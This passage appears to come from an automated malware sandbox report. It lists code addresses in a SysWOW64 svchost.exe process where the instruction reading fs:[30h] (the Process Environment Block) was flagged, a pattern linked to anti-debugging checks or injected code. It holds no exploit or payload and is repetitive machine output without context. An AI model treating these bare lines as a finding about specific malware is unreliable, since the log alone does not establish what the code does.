Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE10E mov eax, dword ptr fs:[00000030h]	1_2_03BDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE10E mov ecx, dword ptr fs:[00000030h]	1_2_03BDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE10E mov eax, dword ptr fs:[00000030h]	1_2_03BDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDE10E mov ecx, dword ptr fs:[00000030h]	1_2_03BDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2C156 mov eax, dword ptr fs:[00000030h]	1_2_03B2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC8158 mov eax, dword ptr fs:[00000030h]	1_2_03BC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B36154 mov eax, dword ptr fs:[00000030h]	1_2_03B36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B36154 mov eax, dword ptr fs:[00000030h]	1_2_03B36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC4144 mov eax, dword ptr fs:[00000030h]	1_2_03BC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC4144 mov eax, dword ptr fs:[00000030h]	1_2_03BC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC4144 mov ecx, dword ptr fs:[00000030h]	1_2_03BC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC4144 mov eax, dword ptr fs:[00000030h]	1_2_03BC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC4144 mov eax, dword ptr fs:[00000030h]	1_2_03BC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF60B8 mov eax, dword ptr fs:[00000030h]	1_2_03BF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF60B8 mov ecx, dword ptr fs:[00000030h]	1_2_03BF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B280A0 mov eax, dword ptr fs:[00000030h]	1_2_03B280A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC80A8 mov eax, dword ptr fs:[00000030h]	1_2_03BC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3208A mov eax, dword ptr fs:[00000030h]	1_2_03B3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2C0F0 mov eax, dword ptr fs:[00000030h]	1_2_03B2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B720F0 mov ecx, dword ptr fs:[00000030h]	1_2_03B720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2A0E3 mov ecx, dword ptr fs:[00000030h]	1_2_03B2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B380E9 mov eax, dword ptr fs:[00000030h]	1_2_03B380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB60E0 mov eax, dword ptr fs:[00000030h]	1_2_03BB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB20DE mov eax, dword ptr fs:[00000030h]	1_2_03BB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC6030 mov eax, dword ptr fs:[00000030h]	1_2_03BC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2A020 mov eax, dword ptr fs:[00000030h]	1_2_03B2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2C020 mov eax, dword ptr fs:[00000030h]	1_2_03B2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4E016 mov eax, dword ptr fs:[00000030h]	1_2_03B4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4E016 mov eax, dword ptr fs:[00000030h]	1_2_03B4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4E016 mov eax, dword ptr fs:[00000030h]	1_2_03B4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4E016 mov eax, dword ptr fs:[00000030h]	1_2_03B4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB4000 mov ecx, dword ptr fs:[00000030h]	1_2_03BB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD2000 mov eax, dword ptr fs:[00000030h]	1_2_03BD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD2000 mov eax, dword ptr fs:[00000030h]	1_2_03BD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD2000 mov eax, dword ptr fs:[00000030h]	1_2_03BD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD2000 mov eax, dword ptr fs:[00000030h]	1_2_03BD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD2000 mov eax, dword ptr fs:[00000030h]	1_2_03BD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD2000 mov eax, dword ptr fs:[00000030h]	1_2_03BD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD2000 mov eax, dword ptr fs:[00000030h]	1_2_03BD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD2000 mov eax, dword ptr fs:[00000030h]	1_2_03BD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5C073 mov eax, dword ptr fs:[00000030h]	1_2_03B5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B32050 mov eax, dword ptr fs:[00000030h]	1_2_03B32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB6050 mov eax, dword ptr fs:[00000030h]	1_2_03BB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B307AF mov eax, dword ptr fs:[00000030h]	1_2_03B307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE47A0 mov eax, dword ptr fs:[00000030h]	1_2_03BE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD678E mov eax, dword ptr fs:[00000030h]	1_2_03BD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B347FB mov eax, dword ptr fs:[00000030h]	1_2_03B347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B347FB mov eax, dword ptr fs:[00000030h]	1_2_03B347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B527ED mov eax, dword ptr fs:[00000030h]	1_2_03B527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B527ED mov eax, dword ptr fs:[00000030h]	1_2_03B527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B527ED mov eax, dword ptr fs:[00000030h]	1_2_03B527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBE7E1 mov eax, dword ptr fs:[00000030h]	1_2_03BBE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3C7C0 mov eax, dword ptr fs:[00000030h]	1_2_03B3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB07C3 mov eax, dword ptr fs:[00000030h]	1_2_03BB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6273C mov eax, dword ptr fs:[00000030h]	1_2_03B6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6273C mov ecx, dword ptr fs:[00000030h]	1_2_03B6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6273C mov eax, dword ptr fs:[00000030h]	1_2_03B6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAC730 mov eax, dword ptr fs:[00000030h]	1_2_03BAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6C720 mov eax, dword ptr fs:[00000030h]	1_2_03B6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6C720 mov eax, dword ptr fs:[00000030h]	1_2_03B6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B30710 mov eax, dword ptr fs:[00000030h]	1_2_03B30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B60710 mov eax, dword ptr fs:[00000030h]	1_2_03B60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6C700 mov eax, dword ptr fs:[00000030h]	1_2_03B6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B38770 mov eax, dword ptr fs:[00000030h]	1_2_03B38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40770 mov eax, dword ptr fs:[00000030h]	1_2_03B40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B30750 mov eax, dword ptr fs:[00000030h]	1_2_03B30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBE75D mov eax, dword ptr fs:[00000030h]	1_2_03BBE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72750 mov eax, dword ptr fs:[00000030h]	1_2_03B72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72750 mov eax, dword ptr fs:[00000030h]	1_2_03B72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB4755 mov eax, dword ptr fs:[00000030h]	1_2_03BB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6674D mov esi, dword ptr fs:[00000030h]	1_2_03B6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6674D mov eax, dword ptr fs:[00000030h]	1_2_03B6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6674D mov eax, dword ptr fs:[00000030h]	1_2_03B6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B666B0 mov eax, dword ptr fs:[00000030h]	1_2_03B666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6C6A6 mov eax, dword ptr fs:[00000030h]	1_2_03B6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B34690 mov eax, dword ptr fs:[00000030h]	1_2_03B34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B34690 mov eax, dword ptr fs:[00000030h]	1_2_03B34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03BAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03BAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03BAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE6F2 mov eax, dword ptr fs:[00000030h]	1_2_03BAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB06F1 mov eax, dword ptr fs:[00000030h]	1_2_03BB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB06F1 mov eax, dword ptr fs:[00000030h]	1_2_03BB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6A6C7 mov ebx, dword ptr fs:[00000030h]	1_2_03B6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6A6C7 mov eax, dword ptr fs:[00000030h]	1_2_03B6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4E627 mov eax, dword ptr fs:[00000030h]	1_2_03B4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B66620 mov eax, dword ptr fs:[00000030h]	1_2_03B66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B68620 mov eax, dword ptr fs:[00000030h]	1_2_03B68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3262C mov eax, dword ptr fs:[00000030h]	1_2_03B3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B72619 mov eax, dword ptr fs:[00000030h]	1_2_03B72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE609 mov eax, dword ptr fs:[00000030h]	1_2_03BAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4260B mov eax, dword ptr fs:[00000030h]	1_2_03B4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4260B mov eax, dword ptr fs:[00000030h]	1_2_03B4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4260B mov eax, dword ptr fs:[00000030h]	1_2_03B4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4260B mov eax, dword ptr fs:[00000030h]	1_2_03B4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4260B mov eax, dword ptr fs:[00000030h]	1_2_03B4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4260B mov eax, dword ptr fs:[00000030h]	1_2_03B4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4260B mov eax, dword ptr fs:[00000030h]	1_2_03B4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B62674 mov eax, dword ptr fs:[00000030h]	1_2_03B62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF866E mov eax, dword ptr fs:[00000030h]	1_2_03BF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF866E mov eax, dword ptr fs:[00000030h]	1_2_03BF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6A660 mov eax, dword ptr fs:[00000030h]	1_2_03B6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6A660 mov eax, dword ptr fs:[00000030h]	1_2_03B6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B4C640 mov eax, dword ptr fs:[00000030h]	1_2_03B4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B545B1 mov eax, dword ptr fs:[00000030h]	1_2_03B545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B545B1 mov eax, dword ptr fs:[00000030h]	1_2_03B545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB05A7 mov eax, dword ptr fs:[00000030h]	1_2_03BB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB05A7 mov eax, dword ptr fs:[00000030h]	1_2_03BB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB05A7 mov eax, dword ptr fs:[00000030h]	1_2_03BB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E59C mov eax, dword ptr fs:[00000030h]	1_2_03B6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B32582 mov eax, dword ptr fs:[00000030h]	1_2_03B32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B32582 mov ecx, dword ptr fs:[00000030h]	1_2_03B32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B64588 mov eax, dword ptr fs:[00000030h]	1_2_03B64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03B5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03B5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03B5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03B5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03B5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03B5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03B5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E5E7 mov eax, dword ptr fs:[00000030h]	1_2_03B5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B325E0 mov eax, dword ptr fs:[00000030h]	1_2_03B325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6C5ED mov eax, dword ptr fs:[00000030h]	1_2_03B6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6C5ED mov eax, dword ptr fs:[00000030h]	1_2_03B6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B365D0 mov eax, dword ptr fs:[00000030h]	1_2_03B365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6A5D0 mov eax, dword ptr fs:[00000030h]	1_2_03B6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6A5D0 mov eax, dword ptr fs:[00000030h]	1_2_03B6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E5CF mov eax, dword ptr fs:[00000030h]	1_2_03B6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E5CF mov eax, dword ptr fs:[00000030h]	1_2_03B6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40535 mov eax, dword ptr fs:[00000030h]	1_2_03B40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40535 mov eax, dword ptr fs:[00000030h]	1_2_03B40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40535 mov eax, dword ptr fs:[00000030h]	1_2_03B40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40535 mov eax, dword ptr fs:[00000030h]	1_2_03B40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40535 mov eax, dword ptr fs:[00000030h]	1_2_03B40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40535 mov eax, dword ptr fs:[00000030h]	1_2_03B40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E53E mov eax, dword ptr fs:[00000030h]	1_2_03B5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E53E mov eax, dword ptr fs:[00000030h]	1_2_03B5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E53E mov eax, dword ptr fs:[00000030h]	1_2_03B5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E53E mov eax, dword ptr fs:[00000030h]	1_2_03B5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E53E mov eax, dword ptr fs:[00000030h]	1_2_03B5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC6500 mov eax, dword ptr fs:[00000030h]	1_2_03BC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04500 mov eax, dword ptr fs:[00000030h]	1_2_03C04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04500 mov eax, dword ptr fs:[00000030h]	1_2_03C04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04500 mov eax, dword ptr fs:[00000030h]	1_2_03C04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04500 mov eax, dword ptr fs:[00000030h]	1_2_03C04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04500 mov eax, dword ptr fs:[00000030h]	1_2_03C04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04500 mov eax, dword ptr fs:[00000030h]	1_2_03C04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04500 mov eax, dword ptr fs:[00000030h]	1_2_03C04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6656A mov eax, dword ptr fs:[00000030h]	1_2_03B6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6656A mov eax, dword ptr fs:[00000030h]	1_2_03B6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6656A mov eax, dword ptr fs:[00000030h]	1_2_03B6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B38550 mov eax, dword ptr fs:[00000030h]	1_2_03B38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B38550 mov eax, dword ptr fs:[00000030h]	1_2_03B38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B644B0 mov ecx, dword ptr fs:[00000030h]	1_2_03B644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBA4B0 mov eax, dword ptr fs:[00000030h]	1_2_03BBA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B364AB mov eax, dword ptr fs:[00000030h]	1_2_03B364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BEA49A mov eax, dword ptr fs:[00000030h]	1_2_03BEA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B304E5 mov ecx, dword ptr fs:[00000030h]	1_2_03B304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2E420 mov eax, dword ptr fs:[00000030h]	1_2_03B2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2E420 mov eax, dword ptr fs:[00000030h]	1_2_03B2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2E420 mov eax, dword ptr fs:[00000030h]	1_2_03B2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2C427 mov eax, dword ptr fs:[00000030h]	1_2_03B2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB6420 mov eax, dword ptr fs:[00000030h]	1_2_03BB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB6420 mov eax, dword ptr fs:[00000030h]	1_2_03BB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB6420 mov eax, dword ptr fs:[00000030h]	1_2_03BB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB6420 mov eax, dword ptr fs:[00000030h]	1_2_03BB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB6420 mov eax, dword ptr fs:[00000030h]	1_2_03BB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB6420 mov eax, dword ptr fs:[00000030h]	1_2_03BB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB6420 mov eax, dword ptr fs:[00000030h]	1_2_03BB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B68402 mov eax, dword ptr fs:[00000030h]	1_2_03B68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B68402 mov eax, dword ptr fs:[00000030h]	1_2_03B68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B68402 mov eax, dword ptr fs:[00000030h]	1_2_03B68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5A470 mov eax, dword ptr fs:[00000030h]	1_2_03B5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5A470 mov eax, dword ptr fs:[00000030h]	1_2_03B5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5A470 mov eax, dword ptr fs:[00000030h]	1_2_03B5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBC460 mov ecx, dword ptr fs:[00000030h]	1_2_03BBC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BEA456 mov eax, dword ptr fs:[00000030h]	1_2_03BEA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2645D mov eax, dword ptr fs:[00000030h]	1_2_03B2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5245A mov eax, dword ptr fs:[00000030h]	1_2_03B5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E443 mov eax, dword ptr fs:[00000030h]	1_2_03B6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E443 mov eax, dword ptr fs:[00000030h]	1_2_03B6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E443 mov eax, dword ptr fs:[00000030h]	1_2_03B6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E443 mov eax, dword ptr fs:[00000030h]	1_2_03B6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E443 mov eax, dword ptr fs:[00000030h]	1_2_03B6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E443 mov eax, dword ptr fs:[00000030h]	1_2_03B6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E443 mov eax, dword ptr fs:[00000030h]	1_2_03B6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6E443 mov eax, dword ptr fs:[00000030h]	1_2_03B6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40BBE mov eax, dword ptr fs:[00000030h]	1_2_03B40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40BBE mov eax, dword ptr fs:[00000030h]	1_2_03B40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE4BB0 mov eax, dword ptr fs:[00000030h]	1_2_03BE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE4BB0 mov eax, dword ptr fs:[00000030h]	1_2_03BE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B38BF0 mov eax, dword ptr fs:[00000030h]	1_2_03B38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B38BF0 mov eax, dword ptr fs:[00000030h]	1_2_03B38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B38BF0 mov eax, dword ptr fs:[00000030h]	1_2_03B38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5EBFC mov eax, dword ptr fs:[00000030h]	1_2_03B5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBCBF0 mov eax, dword ptr fs:[00000030h]	1_2_03BBCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDEBD0 mov eax, dword ptr fs:[00000030h]	1_2_03BDEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B50BCB mov eax, dword ptr fs:[00000030h]	1_2_03B50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B50BCB mov eax, dword ptr fs:[00000030h]	1_2_03B50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B50BCB mov eax, dword ptr fs:[00000030h]	1_2_03B50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B30BCD mov eax, dword ptr fs:[00000030h]	1_2_03B30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B30BCD mov eax, dword ptr fs:[00000030h]	1_2_03B30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B30BCD mov eax, dword ptr fs:[00000030h]	1_2_03B30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5EB20 mov eax, dword ptr fs:[00000030h]	1_2_03B5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5EB20 mov eax, dword ptr fs:[00000030h]	1_2_03B5EB20
